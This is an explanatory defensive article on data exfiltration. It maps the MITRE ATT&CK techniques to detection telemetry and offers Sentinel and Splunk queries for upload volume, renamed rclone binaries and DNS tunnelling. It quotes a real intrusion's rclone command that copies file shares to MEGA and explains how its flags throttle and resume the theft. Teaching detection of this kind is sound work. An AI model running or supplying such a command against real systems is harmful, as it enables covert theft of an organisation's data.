What is Data Exfiltration?

NIST's glossary takes its definition from SP 800-53 Rev. 5: the unauthorized transfer of information from a system. MITRE ATT&CK treats it as a tactic of its own, TA0010, with nine techniques. By the time it starts, the attacker has usually found the data and gathered it, often into compressed archives (Archive Collected Data, T1560, belongs to the Collection tactic). Exfiltration is the move off your network, and which log sees it depends on the channel. So the useful way to learn the tactic is technique by technique, with the telemetry that catches each one.

Over the network

• T1041, Exfiltration Over C2 Channel: the data rides the implant's existing command-and-control connection, so the beacon keeps its rhythm while its outbound bytes jump. Firewall or NDR session records with bytes per direction show it; a connection log without byte counts does not.
• T1048, Exfiltration Over Alternative Protocol: FTP, SMTP, DNS or another protocol separate from the C2, split into symmetric encrypted, asymmetric encrypted and unencrypted sub-techniques. Look for protocols a host has never spoken and, for DNS, for query volume and label length per parent domain.
• T1567, Exfiltration Over Web Service: code repositories, cloud storage, text storage sites and webhooks. It works, MITRE notes, because hosts already talk to these services and firewall rules often already allow them. Proxy logs with bytes_out per destination find the volume, and EDR process data names the binary doing the upload.

Timing, size and automation

• T1029, Scheduled Transfer: uploads only at certain times or intervals, so compare transfer times with the host's working pattern rather than with a fixed threshold.
• T1030, Data Transfer Size Limits: fixed-size chunks meant to stay under per-transfer alerts, which is why you sum bytes per source and destination over hours instead of alerting per session.
• T1020, Automated Exfiltration: a script or tool sends data as soon as it is collected. Its sub-technique, Traffic Duplication, abuses the traffic mirroring some network devices support, so a new mirror or forwarding destination in a router or switch config deserves the same attention as a new outbound connection.
• T1537, Transfer Data to Cloud Account: data is shared, synced or backed up to another account the attacker controls on the same cloud service. None of it crosses your egress, so the evidence sits in the provider's audit log as sharing and permission changes.

Off the monitored network

• T1011, Exfiltration Over Other Network Medium: Wi-Fi, cellular, Bluetooth or another radio link instead of the wired connection your perimeter watches. The proxy never sees it; the endpoint does, as a new network adapter or an unexpected wireless connection.
• T1052, Exfiltration Over Physical Medium, with Exfiltration over USB as its sub-technique: device-connection events and file writes to removable volumes, from EDR or DLP.

One pattern comes up again and again in ATT&CK's procedure examples for T1567.002, Exfiltration to Cloud Storage: rclone doing the copying, often to MEGA. The examples include Akira and Ember Bear using rclone, and FIN7, HAFNIUM and Earth Lusca sending stolen data to MEGA. For campaign C0015, ATT&CK quotes the command line itself:

rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M

Read it as the operator wrote it.

• --max-age 2y skips files older than two years.
• --ignore-existing skips anything already on the destination, so the job can be restarted after an interruption without sending everything again.
• --bwlimit 10M caps the transfer at 10 MiB per second (rclone's documentation stresses that this is bytes, not bits), so the link never saturates and nobody complains about a slow network.
• Mega:DATA is a remote the operator named while configuring rclone, so a rule that looks for the word mega in the command line misses the next intrusion.

Even throttled, the job moves about 35 GiB an hour, and that volume is what the network side sees whatever the binary is called.

Here is how it reaches the queue (simulated example generated by SOCSimulator Research; names and figures are invented). Saturday, 01:10 to 07:05: FS-BACKUP-03 sends 203 GB to MEGA storage hosts. Over the previous 30 days the server never sent more than 400 MB a day to the Internet. In Microsoft Sentinel, CEF data from firewalls and proxies lands in the CommonSecurityLog table, where SentBytes is the outbound byte count:

CommonSecurityLog
| where TimeGenerated > ago(1d)
| where DestinationHostName has "mega"
| summarize BytesOut = sum(SentBytes), Sessions = count() by SourceIP, DestinationHostName
| where BytesOut > 1073741824
| order by BytesOut desc

Delete the mega line and the same query lists every destination that received more than 1 GiB from a single source in a day, which is the version worth scheduling. With CIM-mapped proxy data in Splunk the equivalent is:

| tstats sum(Web.bytes_out) AS bytes_out FROM datamodel=Web WHERE earliest=-24h BY Web.src Web.dest
| where bytes_out > 1073741824
| sort - bytes_out

Volume tells you something left; the endpoint tells you what sent it. Defender's DeviceNetworkEvents table records the connection and the process that opened it, but its schema has no byte-count column, so attribution comes from process data. rclone's flags survive a rename, so search on them:

DeviceProcessEvents
| where Timestamp > ago(7d)
| where ProcessCommandLine contains "--transfers" or ProcessCommandLine contains "--multi-thread-streams"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine

In the simulated case it returns svchost_upd.exe on FS-BACKUP-03, running the copy command as a service account created two days earlier. The binary was renamed; its flags were not. Expect legitimate hits from backup jobs that use rclone on purpose, and check them against the change record instead of excluding the flags.

DNS needs its own search

ATT&CK lists DNS among the unencrypted protocols under T1048.003 and notes that data can be encoded, base64 for example, inside protocol fields; one procedure example is APT32's backdoor encoding data in the subdomain field of DNS packets. RFC 1035 caps a full DNS name at 255 octets and a label at 63, so each query carries a small piece and the giveaway is the pattern: hundreds of unique subdomains under one parent domain, labels far longer than real hostnames, and often TXT lookups, whose answers can carry data back to the implant. Against CIM-mapped DNS data in Splunk:

tag=dns record_type=TXT earliest=-1h
| rex field=query "^(?<sub>.+)\.(?<parent>[^.]+\.[^.]+)$"
| eval sub_len=len(sub)
| stats count dc(sub) AS unique_subs avg(sub_len) AS avg_len BY src parent
| where unique_subs > 200 AND avg_len > 40
| sort - unique_subs

The regex treats the last two labels as the parent, so example.co.uk collapses into co.uk: good enough for a first pass, wrong for a production rule. Some security and telemetry products encode data in DNS lookups by design, so verify each parent domain before you allowlist it. Drop record_type=TXT to catch tunnels that use A or CNAME lookups, and expect more noise when you do.